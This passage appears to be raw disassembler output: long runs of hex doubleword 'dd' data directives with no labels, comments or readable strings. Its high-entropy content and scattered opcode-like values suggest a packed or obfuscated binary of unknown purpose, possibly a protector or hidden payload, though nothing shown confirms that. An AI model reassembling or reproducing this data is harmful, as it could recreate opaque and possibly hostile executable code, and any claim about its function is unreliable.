8FE19523h, 0B9A0A3Dh, 8F2849A1h, 623ABh, 8C3A2A00h dd 0AB194AFEh, 0C769691Dh, 0E24E8539h, 4AA054h, 0A17D5F72h dd 0BF73014Bh, 0DC901EAEh, 0F5A93795h, 0A6C351E3h, 0D8F8EC2h dd 8B6D583Eh, 9DE608B5h, 903C3139h, 0A17D9493h, 0CC8B3B6Dh dd 2724D75Bh, 49AD1F51h, 794AD307h, 7BA5844h, 243B95DDh dd 0C735E7AFh, 0B6F18D6h, 6663D503h, 40745067h, 55E58168h dd 0B76BF9ACh, 401613A5h, 6992C52Eh, 48924379h, 0A075A66h dd 3C90E10Bh, 0F0ED403Fh, 7976C81Ah, 2FFB1A3h, 837FEDD5h dd 8E61CF4Dh, 8B5CEA5Ch, 0B8C08AF5h, 0B21D200Eh, 0FE0764CEh dd 297FDE7h, 0EC070000h, 2A86F1E4h, 0B0C9FFA3h, 0B17188DBh dd 0AEE2463Dh, 5BC6E679h, 7C84E89Bh, 0CB131B6Ah, 0B476C8h dd 0B2BA96ADh, 0D08412A4h, 3133309Ah, 9BE6E241h, 679A2C3Eh dd 0BECF08E5h, 393418B1h, 14000005h, 34E876C0h, 53079523h dd 6F23B11Fh, 8A3ECC60h, 495CEA5Ch, 0EB5D8B67h, 8B4A95Dh dd 218BC67Ah, 3B8DDF93h, 78AC90ADh, 583E0DA5h, 89F7557h dd 5399DE6h, 5BC6F322h, 1E2E2BDEh, 5C73D916h, 4359A8BAh dd 54C59878h, 87292953h, 0E0F2A634h, 697B514Eh, 458AEF00h dd 98EBEAE7h, 4C499C9Bh, 0DAD76576h, 6865D304h, 0E9E5533Bh dd 0F4C735B3h, 0D47879E2h, 0C0151D81h, 86575D74h, 0BEAD25F0h dd 1D0FBh, 0AAEC0500h, 2B82A776h, 8BA2555Eh, 0E145F7E9h dd 2A77AFF3h, 8D8C893Bh, 0B964277Dh, 5572DA2h, 15474FB3h dd 9AD0A6A3h, 0A1B3DD30h, 0FC13120Fh, 0E2CA24F6h, 41403DEFh dd 4A568AEEh, 0BA5BCBDFh, 2D61A307h, 5843DEF0h, 0D54A6114h dd 43DF4ED3h, 7AE8E058h, 0A77BF48Ah, 0CE050DBEh, 42F8A9A5h dd 0E13426B2h, 55E0CAh, 0CCBA0000h, 236F0B1h, 5844441Bh dd 8A2636E9h, 59051C14h, 95C6E608h, 0D82B2A27h, 0A9D84074h dd 691C5BCCh, 0E61A5C6Ch, 58445A37h, 0D21D19D8h, 0A3C6D324h dd 0D9D13233h, 3F92E806h, 1EC75A28h, 6F675844h, 97B1101h dd 0D486BEA7h, 60000000h, 0B8B51B58h, 26F6A2B9h, 301E8234h dd 0B471788h, 99A9A8A5h, 0C6D65142h, 0AA521C85h, 0B0253CFBh dd 0F32A5EA0h, 115E2A9Ch, 0B7A5475Eh, 20320805h, 0F3C2A8Eh dd 9D96E447h, 0B68C0118h, 968412A4h, 0A42D5C8Eh, 436E3F86h dd 0C290A7FAh, 5E2B76A1h, 3D7B8ADCh, 1D19F2E6h, 0DCCA58ABh dd 1E3583D4h, 93F7905Eh, 272E5D8Bh, 6214C4E1h, 5430479Ah dd 6BD90A12h, 8A586F6Eh, 5BC1D097h, 4E56BA6Dh, 6C20AE18h dd 51E3F57Eh, 753FCBFEh, 32CBCAA6h, 3674Eh, 48F6E600h dd 67D506BAh, 832D25D9h, 9E3241F5h, 0BC0E5C10h, 5D391B2Eh dd 7B2FBD0Fh, 984CDA6Ah, 0B165F359h, 627F0DBFh, 0BD34A7Eh dd 4F31583Eh, 0EDE4EC79h, 5086283Fh, 0B2A458E6h, 26B47200h dd 20F5C534h, 15B593BEh, 0FDEFC5C2h, 0C7CFBD4Bh, 50102791h dd 4D81E59Eh, 5BCC9ABFh, 918CC002h, 73584446h, 5B0EA9C0h dd 46C35C5Eh, 0AC2A5844h, 0E2A14D3Eh, 71C24A7Eh, 0D24255E5h dd 9F005B2Bh, 28B609BFh, 8234266Ah, 0FF337585h, 5E2B821Eh dd 72142BDEh, 6E40CE60h, 9BA30780h, 7E2E234Ah, 1B582E2Bh dd 6F4B62B5h, 28EE3F2Dh, 0C4442CBDh, 3DC1DFADh, 8E415BCCh dd 26928F91h, 0A49C5844h, 35B04636h, 2CBBBEA7h, 0C5000000h dd 399DE608h, 82923E31h, 0E417D3D2h, 3D193066h, 0CC420F09h dd 2320D35Bh, 44420021h, 0C8362E58h, 0A6E542D8h, 0E84DBEh dd 26570000h, 161E8234h, 777673D9h, 0C715EB60h, 0A8FB519Eh dd 40939BABh, 0E1F8F7F4h, 93DE2D3Fh, 4DD004B0h, 0AF5E2AE5h dd 0F9ABECFCh, 0D7ADAAFDh, 0C5A53385h, 5E2ABE9Eh, 0A93789DBh dd 0F90ECDBBh, 0CAA9E6E5h, 0DBEB3266h, 66195E2Ah, 0F8BBAD4Fh dd 2ADC59C4h, 0CEF8AB5Eh, 2E2D2A9Ch, 4EADEDBh, 0A9DD1F83h dd 5E2ADC74h, 0E2BED588h, 0CBEF3EAEh, 0E2F5FD5Bh, 1AA43F56h dd 0BF7B78D6h, 71B485F7h, 5A84D758h, 0DA68BB09h, 399DE608h dd 0DA6F7205h, 57BB6E55h, 4BAF194Fh, 1048D509h, 9BC5E1Dh dd 2238ECF2h, 16176598h, 0C25BC4CBh, 1C3DEh, 0EC5A8A00h dd 0BB9AA5Eh, 2789C97Dh, 42EEE599h, 60EA00B4h, 1DDBFD2h dd 1FD361EBh, 3CF07ECEh, 55099735h, 623B103h, 92FEE22h dd 0EBCD583Eh, 86302615h, 0A01244F8h, 0E6085412h, 0E351848Ch dd 2B82908Dh, 0E7EA745Eh, 0F6494845h, 0F5FD3FA3h, 713F56E2h dd 5BCCAAA7h, 3F4BFB6Bh, 85E7CAA0h, 0E9E8E557h, 0D7DF4396h dd 0FFF67A81h, 29EF972Bh, 484ABFD6h, 58444CD9h, 0FFEF5D55h dd 0BEA6DA69h, 0C374h, 34267E00h, 0A07B9ABh, 408CE10Bh dd 6B8189EDh, 0CEE5E4E1h, 0E3558359h, 857FE4E6h, 687A5E2Bh dd 525A48D6h, 0F799B01Eh, 1D747CE5h, 0D1C8F513h, 17146795h dd 0D4C8C518h, 0D105691Ah, 5BCC861Bh, 1A086C1Fh, 58DB3306h dd 2F354CB7h, 8EF2915Dh, 0DB1F3C5Ah, 0C9897755h, 628F22B2h dd 0BC6F0A21h, 0DF0E1658h, 9FF24496h, 89F0E688h, 0D8D33678h dd 0F143951Bh, 9BD4B9Eh, 0F24492D3h, 70A3F6F5h, 0C4CAD518h dd 0B5FDE17Ah, 98000000h, 0B86CFA44h, 0D78B19A7h, 0F3A7359Bh dd 0EC250FCh, 0CDE06ED8h, 6FD90FEBh, 8C382DE1h, 0A5074AFEh dd 0BF716317h, 0FC301431h, 583E0821h, 262B01E3h, 44F88630h dd 5412A012h, 1E823426h, 4FA0C516h, 0F5B1AE01h, 44933478h dd 0EB15683Dh, 0BD3249E7h, 7B6CF5E7h, 1AEC7ACDh, 1B4FB3D4h dd 5BC67000h, 36C7A04h, 0E0B5ECEh, 0E9BFBC0Fh, 0CA7C6EF7h dd 0ED7BCECDh, 98952739h, 5ECC596h, 0E7C4E38h, 3397293Bh dd 0E6A00D45h, 7F96100Ch, 2193C579h, 0AB014E24h, 82405947h dd 66BC329Bh, 6012DA4Fh, 0A4CD1FF2h, 21AF02ACh, 0CCC97B6Dh dd 3E8h, 0FBCB7E00h, 8B883626h, 1411A3B5h, 9C99333Eh, 282597C6h dd 0B5B20452h, 423F89DFh, 0CCC9676Ch, 5754FAF6h, 0E5E26E81h dd 2BFF681Ah, 34890000h, 0E2895224h, 4C281h, 0EA810000h dd 4, 5C241487h, 68242C89h, 3952h, 56240489h, 73B6BF57h dd 0EF813BE5h, 67BF60C8h, 5E6BC781h, 0FE8931C7h, 5EF5895Fh dd 8904EC83h, 4812424h, 424h, 52555800h, 70166BBAh, 24542913h dd 408F5A04h, 8408108h, 1370166Bh, 5724048Bh, 0C781E789h dd 4, 4C781h, 3C870000h, 34FF5C24h, 0C4835D24h, 0CD8FE904h dd 0CC45FFFAh, 4890A78Eh, 0B887386Eh, 5ED7B4Ch, 0E0FFC503h dd 1358DBB9h, 78658642h, 17373788h, 487619C8h, 3A371889h dd 0FBE6B5Fh, 45D4A751h, 45DD921Eh, 2868D506h, 5A1665EEh dd 6DCC1F5Ch, 44A65895h, 138FD70Fh, 8C0EDEBh, 59DBCCD6h dd 7BED9A61h, 59F271CDh, 38FCA828h, 3BE167D6h, 7B528B70h dd 20083CB5h, 4EACD0E8h, 0FEBA958h, 47CB7D3Ch, 5C41E68Bh dd 5C3CB14Bh, 547F9AA0h, 4635BCA5h, 8EBh, 0E84A0000h, 45E9570Dh dd 68000005h, 5ED7D8Ah, 0FA0422E9h, 7DF568FFh, 18E905EDh dd 68FFFA04h, 5ED7FA2h, 0FA040EE9h, 7B9E46FFh, 0C46595E5h dd 1207DE2Eh, 5DD42C7Ch, 0A58477C7h, 6A8DF60Fh, 0B2029891h dd 0FF4FE54Ch, 49992F02h, 10E57BB6h, 50260AF7h, 0C8AE5A7Fh dd 0F435C643h, 4FB0BEA7h, 619EAAE2h, 50B67B86h, 0B3978499h dd 3B5491D3h, 8CDEF81Fh, 0E1471F05h, 9ACDB7A9h, 8E6D7B32h dd 7EB64E9Bh, 0BB137E6Bh, 4D1B5177h, 0BD5F3F00h, 0F4FA5A79h dd 16C973E6h, 0F409409Bh, 79CA2307h, 9F8CAB5Ah, 5A79C9BBh dd 0D70F7543h, 36E65h, 1C571000h, 0E49B0D36h, 0D3FEE2CFh dd 73885491h, 0FE3604B6h, 32C8D6EBh, 75B447F7h, 0E20F523Dh dd 84925176h, 896BB861h, 1951B772h, 4FD03D0Bh, 0AFDBE768h dd 7E35A7D0h, 0C3744A91h, 0AFFCCA54h, 0E1980033h, 0B9062BD3h dd 0E9D6E921h, 5AAA8C33h, 1C2EE5B3h, 0CC3E794Eh, 0ECD0BDD7h dd 7463ABF3h, 6E9040A6h, 0A6DE76C3h, 697A8593h, 629397E3h dd 64FA60CBh, 2246EB14h, 0DBBCB64Ah, 6321C5A2h, 50000003h dd 9FEF8594h, 0E838CE5Bh, 36861CFDh, 81D167CAh, 19AF7Ah dd 0A2877497h, 0EF42BC0Ch, 39F80959h, 85AC53A3h, 14011AEFh dd 5A7F5130h, 2C4DD2B8h, 0EDDA91FBh, 517CAFDAh, 485D14E2h dd 216EAB3Ah, 0B6455189h, 37AEBC73h, 68B8AAE2h, 0D1DF9693h dd 1DB5022Fh, 127B3CE5h, 1CB15BAAh, 4C2A4EE3h, 0B4E4E975h dd 2F833D7h, 29BB0000h, 0F00A5AF0h, 9253A339h, 5FA1F187h dd 0FEC3CD2h, 26B841Ah dd 770D1CDFh, 0C45AD727h, 0EA48D74h, 5AF041BEh, 9B7F6C85h dd 235A7F50h, 0FB2CB83Dh, 0DAEDDA91h, 0E2517CAFh, 50F2D6C3h dd 17785A7Fh, 0A177E7D7h, 6FD5A355h, 29816122h, 0C71C5A7Fh dd 0D356A4B2h, 7F296044h, 0E21AE85Ah, 0F39DC81Eh, 0D44091AEh dd 217h, 0A15A687Dh, 14A33B88h, 5A7F3230h, 0A1B2EAB8h dd 4DAE39C6h, 91F78FDCh, 949D6244h, 79E314FEh, 0E076D5C2h dd 28F65176h, 0E13A1ADBh, 80D55A78h, 19F0D6Eh, 144CB10Eh dd 25CFBA50h, 6409BBEh, 63h, 885FA1AFh, 855BB76h, 0F157DA26h dd 0B1BFA8B9h, 3C29E049h, 5491D358h, 34DA12E0h, 0F5E29903h dd 5176FC2Eh, 0D293E0AEh, 5A78FBF2h, 58A58C74h, 58A58476h dd 38374472h, 0FF6B4469h, 0B14855A3h, 82974E5Ch, 0A1659D35h dd 4F76204Bh, 0A8B6409Bh, 2EA0D859h, 105h, 0F1D5C2D7h dd 795A7992h, 0BF6273ABh, 0D3D9BDAAh, 93615491h, 8BEDFBDFh dd 0A3DB76F9h, 807F6897h, 1CCC64B1h, 6B0350C9h, 25D6B805h dd 2AD5B704h, 4E3B5007h, 5492546Ah, 8D7424F2h, 87BF57A4h dd 2E03FCDEh, 89A86577h, 46939E60h, 5210FAAEh, 0D908FA32h dd 54927D4Fh, 0B941A659h, 743D2370h, 0BCF70852h, 0DBB6FD5h dd 0FC89013Ch, 0E5CF65CBh, 7E934AB2h, 91DEAD91h, 2F673554h dd 5F9071Ch, 0C6131EE2h, 0E37BC82Eh, 6CE0C0ABh, 92605178h dd 0B12ECDDBh, 0E47AE049h, 9EC26794h, 0E4ED34E2h, 4BA94D2Ah dd 68000001h, 0B7079D7Ch, 50E643h, 4E9E34E5h, 99E97FB2h dd 1831C762h, 0BA6F8CAFh, 72AD424h, 51E02171h, 9D946BBBh dd 2C193207h, 5A7F5248h, 0BF65EAD0h, 9F37EFADh, 0A0D822FAh dd 2CC26794h, 0ADA6C3D5h, 0D683F456h, 766D929Eh, 13AA94Ah dd 47DD4355h, 0C61DE2F0h, 0CFB059DCh, 6FA70D05h, 0F839C65Eh dd 0FB36C9ABh, 5E422F44h, 0E65491D3h, 4EEE018h, 0C5B269D3h dd 51769F01h, 0A78A7684h, 0B849616Fh, 2E942C79h, 9C956977h dd 6C7FB74Fh, 7AB74957h, 64C53642h, 8F6577CEh, 36E37FDAh dd 0DEBEA9E1h, 605A7994h, 0CDDB929Fh, 16AEFB2Eh, 5F9CECDEh dd 0AF0113CAh, 810B5F9Ah, 0C4681149h, 8Ah, 3F231025h, 0C75A794Ah dd 715542F9h, 0F95A794Ah, 0BFE2F32Bh, 0D3D9BDAAh, 93615491h dd 1A82B55Bh, 0AF6F7663h, 0A16F517Ch, 0D1596B54h, 3AF6A5D5h dd 6CB9708Ah, 2A366ED4h, 6FC65CD5h, 5B939E61h, 3481B04Fh dd 5F867573h, 6573A70Ch, 6A0031CEh, 0FF4CE51Ah, 0DD530416h dd 0D84BFA23h, 0C56C94A0h, 7785D378h, 0FA2FCBD9h, 0E849B6C2h dd 34FD0252h, 1443E7h, 0BFA60000h, 0D3D9BDAAh, 35F5491h dd 3881F37Dh, 0B4311C3h, 1EC64C91h, 33CCAEFBh, 32CFB1FEh dd 2ED0B2FFh, 27D4B603h, 28D3B502h, 2ED2B401h, 11D4B603h dd 21D9BB08h, 576FBB08h, 0BA52E789h, 4, 835AD701h, 3C8704EFh dd 89575C24h, 4C781E7h, 81000000h, 4EFh, 243C8700h, 243C895Ch dd 587F68h, 242C8900h, 2204ADBFh, 0BE560Ah, 29000000h dd 5EF789FEh, 0EF81D7F7h, 434882Ch, 239468h, 24248900h dd 4240483h, 8BB535Dh, 81000000h, 62142DEBh, 81EB0113h dd 62142DC3h, 5B3B8913h, 5D2434FFh, 4C481h, 3C8B0000h dd 0E2895224h, 4C281h, 0C2830000h, 24148704h, 0FEEDE95Ch dd 7B36FFF9h, 1DA9EA33h, 0ED8112B8h, 0FFC50305h, 6B0125E0h dd 58E76F03h, 0BF82A434h, 0B5AD0803h, 2A8ADB7Bh, 249C760Eh dd 18A57E71h, 68936062h, 986E376Fh, 1191EF4Eh, 1C71D70Ch dd 0F9B8E613h, 0CCC5EE31h, 933F7C51h, 3185A80Ah, 0D010210Ah dd 0E67A860Fh, 1A666D5Ch, 0B9026270h, 11F8E74Ah, 73D35D7Eh dd 1F437364h, 964FFD3Ah, 2E35255Eh, 0AE038B7Bh, 0E1E81236h dd 0FE6B4432h, 0AA63E611h, 38E6CD34h, 0E1E76772h, 9F8D8D11h dd 0F05ED82h, 8D89F2B7h, 5E71AA9h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Bh, 2BC35343h, 67BB7373h, 915966Fh dd 0E7118D9Dh, 4D85C705h, 0EC05E72Ah, 0E900005Ah, 7, 1F5F971Dh dd 0C74F29FFh, 0E7273985h, 5, 0C28B6600h, 1639B5FFh, 8B6605E7h dd 9595FFD8h, 8905E717h, 0E71A3185h, 0FF006A05h, 0E721C195h dd 0EBC08B05h, 9FAE400Dh, 36F1D905h, 0FFE7A49Ch, 0CE83321h dd 0B7000000h, 0B4A762ADh, 0BC2D8BAEh, 81D17D79h, 2AD541D0h dd 0C68B5B15h, 6616C381h, 55BE0000h, 0E9000019h, 11h, 19FBCED0h dd 8264EA14h, 0C5FCEACh, 9AF7EF57h, 660B8B84h, 0EE8CD781h dd 0B433F181h, 14E95B61h, 92000000h, 0BF9F881Fh, 9F806A31h dd 0F6C07A27h, 8A0DD58Bh, 814B5718h, 22699BF1h, 0BE96Eh dd 4E390000h, 0C2411193h, 99A73D8Eh, 6BC181CAh, 8B1C5E41h dd 0E7276185h, 0F90B8905h, 8B02EB83h, 0E711B195h, 814B4B05h dd 1EEh, 18850F00h, 81000000h, 989BD5DFh, 23E968h, 2B500000h dd 0D495FBFAh, 0F452C38Bh, 0F2D03C2h, 7EE9FABFh, 54FFFFFFh dd 80BD1F2Dh, 519AA68h, 6E119693h, 688D8D47h, 6A05ED84h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h dd 47000000h, 9847C357h, 318269Ch, 8589FC03h, 5E70355h dd 1AA98D89h, 9D8B05E7h, 5E729DDh, 23E38166h, 4D85C7A5h dd 0C005E72Ah, 6A000070h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 14042444h, 46000000h, 0E93AC356h, 5, 0D1AA9039h dd 0F5B52BEDh, 0C705E700h, 0E7273985h, 5, 79BD8B00h, 0FF05E721h dd 0E70091B5h, 52006A05h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1904h, 0C3524200h, 47894075h, 858B4EC8h dd 5E72279h, 0C417E081h, 0A5BE7591h, 0FF70AAD8h, 0E7179595h dd 55006A05h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h dd 0C3554500h, 0EA675004h, 6A5AB5h, 21C195FFh, 0C08B05E7h dd 5291CEBh, 0A39C0363h, 4A1739A1h, 3F132A83h, 0CCE5EAF7h dd 455BFC2Eh, 0DCDBFE95h, 4EBD922h, 5702FE77h, 50EE9h dd 8F8A5A00h, 0D851A9F9h, 26F3F242h, 71C04090h, 0B9708BDBh dd 7EA10A23h, 0C616AC7Dh, 1363F938h, 5DAD43EEh, 24F98FA2h dd 583A1E0Bh, 0DCC25A7Fh, 0F839C657h, 4DB4C2ABh, 7ECB669Ah dd 49CC80E6h, 0B9A33D0Ch, 9E5D69A1h, 1FC6D48Bh, 80D0C2FAh dd 8365B27Fh, 0ECFEB57Ch, 3CC9EA35h, 3DE61E5Eh, 3D8A9F5Bh dd 0B281578Bh, 0F74EE44Dh, 8D0CF9E5h, 5B9F7DEBh, 243068CEh dd 6EBE54DDh, 6F519E93h, 8064518Fh, 854925Dh, 0E287D43Ah dd 12EF4694h, 0B8052CD5h, 0F503BA20h, 0FDEF270Ah, 92DF52ADh dd 925DF2D1h, 8359BB54h, 7C762ED8h, 660F45h, 0C6BA0000h dd 0D6BAA739h, 605491D3h, 10DE90A1h, 0BE9C5DAAh, 875491D3h dd 6479D725h, 91D39377h, 154D1B54h, 7CFC832Dh, 0B6445h dd 0F80D0000h, 91E0270Bh, 0A9E1AF54h, 0AB34C698h, 2976DC55h dd 3825B347h, 5491D354h, 5BA80EDCh, 5DAA8779h, 5EAB867Bh dd 61AE837Ch, 0C9167C3h, 0B382588Ch, 0FC4CE247h, 43982E03h dd 0A7F435C6h, 3DF435C5h, 265ECB2Fh, 556AA97Dh, 91D38468h dd 63E0C54h, 5E9DB442h, 0D3A98D7Ah, 63315491h, 0E81767FDh dd 12F6E3F8h, 9A5491D4h, 0D3593DCCh, 13E15491h, 0E5E4F6ADh dd 63699ACh, 5133DC14h, 56388594h, 593B88A9h, 5A3C89A8h dd 0A8408DA4h, 8C11E735h, 4319EFF5h, 3E774E31h dd 0DC14D736h, 7CDA5AF4h, 8A3B45h, 0D6E40000h, 0DBBD0A0Fh dd 70A80E23h, 0AA35C65Fh, 2B78DE3Bh, 307D9C49h, 317EB34Eh dd 3380B14Fh, 0B5FA10BEh, 5CEB0135h, 8AEB3C9Fh, 0FA79D89Bh dd 92A7FE94h, 9261C1A5h, 437B4954h, 2714C437h, 54926143h dd 4A97FDCBh, 4C999868h, 0FC6F7D83h, 457C7442h, 3F9690A2h dd 0A99C866h, 5560D2h, 0C60B0000h, 0D2B6A335h, 5A5491D3h dd 0F7D9268Ch, 65DA270Ah, 0E91221B7h, 87748940h, 5491D3A3h dd 8607429h, 7F312513h, 328779B1h, 3AAB34C6h, 94FA92DFh dd 0D3A78647h, 0BF705491h, 0A18E4AB1h, 5491D3BDh, 0C4117745h dd 0DA30F42Ch, 7CFC05AFh, 1E645h, 0C6910000h, 3543FA1Fh dd 811966CBh, 0D3F9DDCAh, 0B3815491h, 0FF0D27Bh, 0EBCFBCD1h dd 735491D3h, 0D43216A5h, 0ECBA5491h, 46943986h, 8B44A1B0h dd 0A28F706Fh, 42BF883Ch, 1E813C4Fh, 8F301B8h, 0DF7E921h dd 0CEBB72DAh, 517772FBh, 8668B583h, 0D222B879h, 0F6B7042Dh dd 5A797918h, 0FEFC0A07h, 0E46DE2Bh, 5AA5BC4Ah, 0DCEA41D7h dd 0ECD0BD23h, 745A7978h, 0FC0840A6h, 65772E03h, 44130263h dd 0A54E8607h, 0A8F53CC3h, 0ABF839C6h, 0ABF831C9h, 5D22B806h dd 0C46A7CBBh, 0EFF2B89Fh, 6D498D0h, 4ECB1A28h, 3CF50A16h dd 0E4D07AA6h, 0FAB1409Bh, 5C000000h, 5340FB2Ch, 5491D36Fh dd 0CC329F7h, 0D4260AF7h, 0E0AE5491h, 41A895A8h, 415176F9h dd 50AEBC73h, 0C4FC94E1h, 6BC6391Bh, 0B77A85D5h, 0BA77886Ah dd 53A9996Dh, 0A036FB04h, 9BD0CA74h, 8F50A40h, 5A790C24h dd 34A6DEACh, 5Ah, 1DADBFDFh, 0C8B6F1D5h, 9AC0B846h, 537F71E6h dd 8D5D751Bh, 0D0147060h, 0D58CF24Ch, 928ED4E8h, 0C10EDC54h dd 92901C00h, 788EEA54h, 56643B4Fh, 14F887AAh, 9C549290h dd 87C01ACEh, 33BB11B4h, 140116CDh, 54922030h, 9FB2EAB8h dd 921F9EB2h, 42D8A654h, 5430h, 0FB2C9300h, 96EDDA91h dd 165176DBh, 0E619FB48h, 7A86944Bh, 3D8D7FB7h, 61226FC2h dd 5A78DDF8h, 1C2BC16Fh, 0CEB84EE3h, 677C33A5h, 8EE9FE55h dd 366EF96Ch, 6365F64Bh, 5BA87657h, 5EAB8679h, 2C9D6BB9h dd 0EDDA91FBh, 5D50EA98h, 85934A18h, 897BB376h, 91FB2C34h dd 5898EDDAh, 513517Ch, 51E936FBh, 0F03D0B19h, 8940F10Eh dd 74AC857Bh, 64CD3282h, 2C465617h, 44780C6Ch, 0D1609FB6h dd 1D14EB3Bh, 8BA65866h, 38C8AA53h, 34CAACF9h, 17CEB0FDh dd 28D3B502h, 0BF4D8101h, 0DB317FF2h, 28BE738Ch, 530A27D8h dd 3D75BC45h, 13F094h, 0BF530000h, 0C6878ADh, 96CE0B8Ch dd 33C7D51Ch, 0D911A9F6h, 0FB1EC6C8h, 0FE33CCAEh, 0FF32CFB1h dd 32ED0B2h, 227D4B6h, 128D3B5h, 32ED2B4h, 811D4B6h, 821D9BBh dd 54566FBBh, 4C6815Eh, 83000000h, 348704EEh, 89535C24h dd 4C381E3h, 81000000h, 4EBh, 241C8700h, 2404895Ch, 5E08950h dd 4, 8704E883h, 895C2404h, 6856241Ch, 71164619h, 14EE815Eh dd 4E47F255h, 7590BD55h, 0EE312CCEh, 5EF0895Dh, 241C8B54h dd 4C481h, 56520000h, 0F289C689h, 853895Eh, 241C8B5Ah dd 81E28952h, 4C2h, 4C28100h, 87000000h, 0FF5C2414h, 83582434h dd 0F8E904C4h, 25FFF9F6h, 0CE20703Bh, 0F7CC3C0Bh, 0B8FDE4F1h dd 5ED890Dh, 0E0FFC503h, 6C3F2FAAh, 24716A9Dh, 78C640B0h dd 5480D49Dh, 3D083ECEh, 7EA73DDEh, 273AC1D2h, 4D33204Fh dd 7AB7C006h, 7C3546CDh, 13BB0787h, 37093B55h, 11640810h dd 842E47h, 4B21B719h, 4A299C78h, 589442E3h, 4C49383Ah dd 64E9A3Dh, 2B926BBBh, 4414D359h, 3C4909ADh, 79FFA484h dd 54150742h, 4B641AA5h, 2872C4CCh, 1E20736Eh, 3ECC5794h dd 5C2D2653h, 1E554C1Eh, 3561C310h, 8AF78D8Dh, 840F05EDh dd 2, 8D89DA8Ah, 5E71AA9h, 85C7C78Bh, 5E72A4Dh, 72CCh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 7BC35242h dd 1372970Ah, 85316007h, 5E7218Dh, 0C761CF8Bh, 0E7273985h dd 5, 0CE800h, 0E6470000h, 0C109A45Eh, 4444285Bh, 860F5220h dd 2, 0FF5FE18Ah, 0E7015DB5h, 57006A05h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 0C99529EDh dd 0F05E70Ch, 95FFF8BFh, 5E71795h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Bh, 32C35040h, 0BAD91CFAh, 3853519h dd 0E71189B5h, 0FF006A05h, 0E721C195h, 0EBC08B05h, 0C54C5C78h dd 0C5085EE2h, 0EC52CBD6h, 17CA55E1h, 0EDB797E5h, 83B52DFAh dd 639F9C7Fh, 0F204D75Dh, 343D5D41h, 4D40991Dh, 0D80FEC60h dd 7D6EA7ECh, 80F33C60h, 0F49D38Eh, 80CE475Fh, 0A4742D13h dd 0D1F4377Fh, 30BD0F77h, 6FA4A4CBh, 8362F16Dh, 328CFA42h dd 0B54274E3h, 0E4BF2C42h, 5F1EA8F3h, 49FF7F9Ch, 93F4A973h dd 0BFE94597h, 9055079Bh, 8603ED36h, 1FF9FF6Fh, 0AE8A9h dd 0DB060000h, 710FFBC4h, 7CA11C22h, 29518501h, 0F85A05E7h dd 6829C281h, 0BF0F0000h, 0C886BBC8h, 0EB8146B5h, 46B5AEADh dd 0FF8CC880h, 11E932h, 0EC070000h, 0E60A8844h, 55EE31FBh dd 69447BA1h, 5E67C34Eh, 8810Fh, 830F0000h, 2, 0C6815952h dd 63F283B9h, 1981B529h, 0EE8105E7h, 65017EBAh, 13E9h dd 6C469700h, 0A5E94ABh, 2BC7A47Ch, 39F7C93h, 0E32E5D78h dd 0DEF9C681h, 3289420Ch, 0CA8B6653h, 4EA8358h, 2E82BBB8h dd 1EB8138h, 0F000000h, 1185h, 7D8D8B00h, 0E905E719h, 23h dd 7126F7CBh, 5E99DBBh, 97000000h, 0C73EEF48h, 0FFFF6EE9h dd 2910D7FFh, 0A9B4686Ah, 0D7B05777h, 0EBE94841h, 0EAE27104h dd 5EBE93Dh, 0D1130000h, 9862B248h, 3AABFB91h, 7F949DFh dd 0B744942Ah, 5AC3DC72h, 0CF65C437h, 1CB27F7Fh, 66FC35CCh dd 0B248E916h, 0F3D7C4DDh, 7B5A7F5Fh, 39C61095h, 32C9ABF8h dd 1D2B40F7h, 69014EE3h, 91D3F6DAh, 78B07E54h, 68C93686h dd 6BC6391Bh, 0D554A6B4h, 0FB8F088h, 0F5CCD2Dh, 9F0FD42Dh dd 3F716F15h, 0BEA0ED53h, 0F0A2EF42h, 0E1612EBCh, 0F7085FADh dd 0AD54A43Ah, 639EEE84h, 5F9F81CEh, 19061BD2h, 54929C35h dd 0A0ED3CBFh, 0D8885608h, 22BA0722h, 4E9C41EAh, 8B58A9B8h dd 75F8AA04h, 5BF1571Dh, 0F03DF40Bh, 2908F907h, 210C44DCh dd 5492BE42h, 0EFA536C4h, 0B6659F61h, 0D2B40167h, 0E0B40128h dd 57441AF0h, 54921473h, 5EC72DFBh, 0C7AB98ADh, 4F549214h dd 77854981h, 0F3D7C4D9h, 7D549214h, 2CFAAC7Dh, 0BD620CF4h dd 6843457Ch, 0EC000000h, 0E6D816DAh, 0D188E24Ah, 91E900E4h dd 82BA8854h, 4DB1BF71h, 5FA0ACE4h, 0E6C485D2h, 685491D3h dd 6A4C9998h, 7B4F9C95h, 0C7307D8Bh, 3AE49765h, 1B457CFCh dd 1, 0AB34C6C6h, 2B78DE53h, 2B78B149h, 2D7AB749h, 0A2B1477Bh dd 0E43BD158h, 75EA81D2h, 0E581AC8Dh, 9133E7ACh, 6F7BB32Dh dd 8AA75790h, 0C6398E24h, 0DD54AA35h, 0E20A1229h, 0FD631B61h dd 0FD2CCEB0h, 130CEB0h, 0FADECBB4h, 825492BFh, 36FB04B4h dd 19EF4BE9h, 0F402F294h, 0F58B9E5Dh, 8AD75AA5h, 8FDC3DA8h dd 94E138ADh, 97E44DB2h, 19667422h, 0FB6E7C82h, 457C1641h dd 0BB9F8CA1h, 435492C9h, 86CB3D75h, 76000000h, 0E150B1BFh dd 0D3593D2Ah, 13E15491h dd 0FD2CCFDBh, 0B417CEB0h, 0C61D0ADh, 9BE84EFBh, 8D5866E9h dd 7A90548Ch, 831910EBh, 813C833h, 0FAA8FC4Eh, 7F8D44AAh dd 96936780h, 0A88C7930h, 305491E0h, 9F812A62h, 0BA83D061h dd 993326B4h, 7A457CF7h, 55h, 3D210E23h, 0C75491EBh, 12AAF73Ah dd 495A9260h, 0A7F435C6h, 3EF53CC5h, 2961D030h, 8F5D0B80h dd 2FE643B8h, 0D9F1211Dh, 0D7540821h, 0CBBDF5FBh, 0F534C676h dd 0D408E7A8h, 6FD15491h, 0FC44EE99h, 7684457Ch, 83675484h dd 0B5491DFh, 2D9FD73Dh, 1, 0B01FC6D8h, 0FC94E150h, 54B1A048h dd 2288944Ah, 8569566Bh, 0D549236h, 7C5E073Fh, 